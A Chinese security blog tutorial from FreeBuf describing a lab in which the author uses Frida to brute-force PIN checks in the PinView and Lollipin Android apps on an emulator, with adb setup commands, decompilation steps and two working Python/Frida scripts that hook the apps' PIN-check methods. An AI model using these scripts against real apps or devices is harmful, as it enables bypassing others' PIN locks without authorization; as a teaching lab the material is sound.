pin码破解工具
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
Frida之Pin码破解实验 烟波渺渺正愁予2018-03-01现金奖励共315146人围观 ,发现 7 个不明物体 极客终端安全
*本文原创作者:烟波渺渺正愁予,本文属FreeBuf原创奖励计划,未经许可禁止转载
0×00前言
在网上搜了一些frida破解Pin码的文章,不动手写点代码总感觉理解不深入的念头又升起来了,于是决定找一个开源pin码,然后改一改再破解。
特别感谢南尘分享的源代码https://github.com/nanchen2251/PinView
0×01实验环境
基础环境:win10,Android studio 3,python 2.7(32),frida10.6.33
模拟器:(这里的模拟器是arm架构)
image.png
APP:Lollipin,PinView
0×02 APP二次开发
1、下载pinview源码:https://github.com/nanchen2251/PinView
2、使用sutdio打开工程并修改app_name为PinCrack
image.png
3、修改mainActivity,创建函数checkLogin,把输入的pin码和预设的pin码进行比较
image.png
4、修改mainActivity,创建函数checkPinRes,如果密码正确则显示“密码正确”,如果密码错误则显示“输入错误,还可尝试n(n<5)次”,如果连续输错5次则需要等待10秒 image.png 5、创建类AuthCheck ,checkPin用来校验pin码是否正确,并且根据结果返回布尔值 image.png 6、运行程序,输入正确的pin码,返回“密码正确” image.png 7、输入错误的密码,返回“输入错误,还可输入n次” image.png 0×03 实验内容 1、编写脚本,借助frida对pinview进行pin码爆破 2、编写脚本,利用反向思路对lollipin进行爆破 0×04 实验步骤 1、下载fridafrida_server(https://github.com/frida/frida/releases) image.png 2、下载完成并解压,修改文件名为frida-server,并使用adb上传到模拟器中并运行,执行以下命令 adbpush frida-server /data/local/tmp/ adbshell su cd/data/local/tmp/ chmod777 frida-server ./frida-server image.png 3、转发android TCP端口到本地,另外打开新的命令窗口,输入以下命令: adb forward tcp:27042 tcp:27042 adb forward tcp:27043 tcp:27043 4、执行命令:frida-ps -R,如果出现android手机的进程列表说明搭建成功 image.png 5、编写python脚本,其中关键三行都有注释 import frida, sys def on_message(message, data): if message['type'] == 'send': print("[*] {0}".format(message['payload'])) else: print(message) jscode = """ Java.perform(function () { var AuthCheck = Java.use("com.nanchen.pinviewdemo.AuthCheck");//frida要hook的类 var AC = AuthCheck.getInstance();//获取类的实例 for(var i=1200; i<5000; i++) { var result = AC.checkPin(i+"");//调用类中的函数 send(i + ": " + result); if(result == true){ break; } } }); """ process = frida.get_usb_device().attach('com.nanchen.pinviewdemo')//APP的包名 script = process.create_script(jscode) script.on('message', on_message) print "[*] Bruteforcing PIN code" script.load() sys.stdin.read() 6、开始爆破,当找到正确的pin码时停止爆破 image.png 0×05 反向思路爆破lollipin 1、拿到APK后首先进行反编译,用winrar打开apk,解压出class.dex image.png 2、使用dex2jar-2.0把dex转换成jar,执行命令d2j-dex2jar.bat clesses.dex后会生成clesses-dex2jar.jar,使用jd-gui打开clesses-dex2jar.jar image.png 反编译后的的关键就是定位关键代码,在静态调试中一般有三种方法(信息反馈法,特征函数法,顺序查看法) 信息反馈法:假设我们现在拿到的是一个非开源的,那么这个时候我们首先通过观察输入不同pin码返回到界面的字符串,然后根据不同值搜索代码,但是很不幸,lollipin没有给我们这个机会。 特征函数法:与信息反馈法相似搜索toast函数,很不幸,这个方法在这里也没有什么效果 顺序查看法:从启动代码开始逐渐分析,这种方法比较费时 3、假设我们经过一段艰苦的搜索,终于找到希望checkPassword,通过观察代码可以推测在这里把传进来的pin码前后拼接字符串再SHA1加密,然后与shared_prefs中存储的密码进行比较并且返回一个布尔值。接下来我们要看这个函数是被那个类调用的 image.png 通过查找,我们发现有一个名叫onPinCodeInputed的函数(看名字就像是监听pin 码输入),代码中有一个if判断,关键代码this . mLockManager.getAppLock().checkPasscode(this.mPinCode) image.png 这个时候我们去搜索getAppLock,会发现getAppLock定义在 LockManager类中,作用是返回一个AppLock类的实例,到此我们已经就可以理清调用关系了 image.png 可以整理出调用关系:LockManager的getAppLock方法调用了 AppLock的checkPasscode方法检验pin码, 4、结合我们之前的代码可以写如下利用脚本 import frida,sys def print_result(message): print "[*] Testing PIN %s" %(message) def on_message(message, data): #print message print_result(message['payload']) jscode = """ Java.perform(function () { var LockManager =Java.use("com.github.orangegangsters.lollipin.lib.managers.LockManager"); var LockManagerInstance = LockManager.getInstance(); var AppLock = LockManagerInstance.getAppLock();//此行是比上一脚本多出来的代码,主要是因为调用关系多了一层 for(var i=1200; i<5000; i++) { var result = AppLock.checkPasscode(i+""); send(i + ": " + result); if(result == true){ break; } } }); """ process =frida.get_device_manager().enumerate_devices()[-1].attach("com.github.orangegangsters.lollipin") #session = process.session script = process.create_script(jscode) script.on('message', on_message) print "[*] Bruteforcing PIN code" script.load() sys.stdin.read() 5、执行脚本开始破解,破解成功可以看到如下图 image.png 0×06 实验结果分析与总结 通过正反两种思路对比,我们可以看到要想编写好python脚本的关键是正确理解代码里的函数调用关系(如果是自己写,判断函数的返回值需要是boolean型)。之前在网上看到一篇文章http://blog.csdn.net/u010835288/article/details/78238246?locationNum=10&fps=1其中提到使用frida爆破Sieve的PIN码,一开始我直接执行别人的脚本,发现怎么也无法正确执行,于是我把Sieve反编译了,发现函数的返回类型是void,猜测可能是博主的版本和我测试的版本不一样,所以他成功了而我没有成功。由此想到,多写代码,多反编译代码,知己知彼,百战不殆。 *本文原创作者:烟波渺渺正愁予,本文属FreeBuf原创奖励计划,未经许可禁止转载 烟波渺渺正愁予 烟波渺渺正愁予 5 篇文章 等级: 3级 || 上一篇:如何用一个废旧的笔记本打造一个家庭网络服务器?下一篇:SikurPhone:内置“防黑客”加密货币钱包的手机 这些评论亮了 2333 回复 你都root了...还需要破解pin码??? )22(亮了 发表评论已有 7 条评论 2333 2018-03-01回复 1楼 你都root了…还需要破解pin码??? 亮了(22) Hawkins (3级) 2018-03-01回复 2楼 赞 亮了(0) annqin (1级) 2018-03-01回复 3楼 赞赞赞赞赞赞!! 亮了(0) 森散引 2018-03-01回复 4楼 这什么手机 亮了(0) 烟波渺渺正愁予 (3级) test0 2018-03-01回复 @ 森散引 安卓虚拟机 亮了(0) cyb542316 (1级) 2018-03-03回复 @ 森散引 海马玩模拟器 亮了(0) 8luePig (1级) 2018-09-23回复 @ cyb542316 你有毒把 亮了(0) 昵称 请输入昵称 必须您当前尚未登录。登陆?注册邮箱 请输入邮箱地址 必须(保密)表情插图 有人回复时邮件通知我 烟波渺渺正愁予 烟波渺渺正愁予 test0 5 文章数 7 评论数 最近文章 黑客是如何监视你的手机的? 2018.05.04 安卓四大组件审计实验(drozer) 2018.03.21 Frida之Pin码破解实验 2018.03.01 浏览更多 相关阅读 让FBI都头痛的iPhone,竟然被500刀的小工具破解了Brida:使用Frida进行移动应用渗透测试破解iPhone竟然是为了公众安全?创见WiFi SD卡破解之路关于口令强度等级的设计 特别推荐 关注我们 分享每日精选文章 活动预告 11月 FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气 已结束 10月 【16课时-连载中】挖掘CVE不是梦(系列课程2) 已结束 10月 【首节课仅需1元】挖掘CVE不是梦 已结束 9月 【已结束】自炼神兵之自动化批量刷SRC 已结束 FREEBUF免责声明协议条款关于我们加入我们广告及服务寻求报道广告合作联系我们友情链接关注我们 官方微信 新浪微博腾讯微博Twitter赞助商 Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号 css.php 正在加载中...0daybank
文章评论